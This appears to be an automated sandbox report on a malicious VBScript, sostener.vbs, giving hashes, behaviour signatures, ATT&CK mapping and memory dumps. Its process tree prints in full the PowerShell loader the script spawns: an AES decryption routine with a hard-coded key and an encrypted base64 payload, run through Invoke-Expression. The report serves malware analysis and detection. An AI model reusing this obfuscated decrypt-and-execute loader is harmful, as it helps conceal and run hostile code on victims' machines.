135bda295f096086b57df4c66f9edc207b01d7792c16b808039f8fa64e9eecf1

General

Target

sostener.vbs
Size

159KB
MD5

bddd8601fde69d9376fec504ee5c812a
SHA1

a0e6e03bc0ffdfa06535e2c6ce501e8037e1b331
SHA256

135bda295f096086b57df4c66f9edc207b01d7792c16b808039f8fa64e9eecf1
SHA512

8db21dbff6bc24647092eac6909a7962c182fe1970d8a9e57c922959061e750914485319594e74099599e4b619f4700a4b332cf84b071b09683bf46e048c5e9f
SSDEEP

192:m2aql0M+pOo8nOncu1IbNyUWDcavU5VvJlZcHh2aHJlZx:fauoqGcuWUUWDNUlpapN

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2140 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2140 powershell.exe

pid	process
2140	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2140	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 2516 wrote to memory of 2140	2516	WScript.exe	powershell.exe
PID 2516 wrote to memory of 2140	2516	WScript.exe	powershell.exe
PID 2516 wrote to memory of 2140	2516	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '87515485271233904521';$MqDDxKjJmA = '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';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2140-5-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2140-4-0x000000001B280000-0x000000001B562000-memory.dmp

Filesize
2.9MB

Download
memory/2140-6-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-7-0x0000000001F20000-0x0000000001FA0000-memory.dmp

Filesize
512KB

Download
memory/2140-10-0x0000000001F20000-0x0000000001FA0000-memory.dmp

Filesize
512KB

Download
memory/2140-9-0x0000000001F20000-0x0000000001FA0000-memory.dmp

Filesize
512KB

Download
memory/2140-8-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-11-0x0000000001F20000-0x0000000001FA0000-memory.dmp

Filesize
512KB

Download
memory/2140-12-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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